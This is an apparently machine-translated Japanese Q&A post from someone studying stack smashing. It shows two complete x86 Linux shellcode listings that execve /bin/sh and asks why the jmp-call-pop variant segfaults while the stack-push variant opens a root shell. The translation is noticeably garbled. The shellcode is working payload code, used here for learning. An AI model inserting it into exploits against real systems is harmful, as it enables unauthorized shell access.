私は最近、Aleph Oneが楽しく利益を得るためにスタックを粉砕し、「The Shellcoder's Hanbook」を見てきました。私はGDBを歩くときアセンブリシェルコードの2つの変種が同じように機能しないのはなぜですか?
section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop ebx
xor eax, eax
mov [ebx + 7], al
mov [ebx + 8], ebx
mov [ebx + 12], eax
mov al, 0x0b
lea ecx, [ebx + 8]
lea edx, [ebx + 12]
int 80h
xor eax, eax
mov al, 0x01
int 80h
GotoCall:
Call shellcode
db '/bin/shJAAAAKKKK'
iが取得ワンセグ障害私はへの書き込みをしようとするたびに:私は、次のアセンブリコードと周りいじるたしかし
mov [ebx + 7], al
、私はこの私を実行するとセグメンテーションフォルトなしでrootシェルを開くことができます:
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
xor edx,edx
mov al, 0xb
int 80h
を基本的に、彼らは同じことをやっている(はい私は、彼らが本当にないですけど、私は、両方のルートシェルをポップしようとしています)。私はOpenSuse11.4で動作しており、学習目的でスタックランダム化(ASLR)をオフにしています。何か案は?
[HOWTO:良いタイトルを書く](http://meta.stackexchange.com/q/10647/156620) –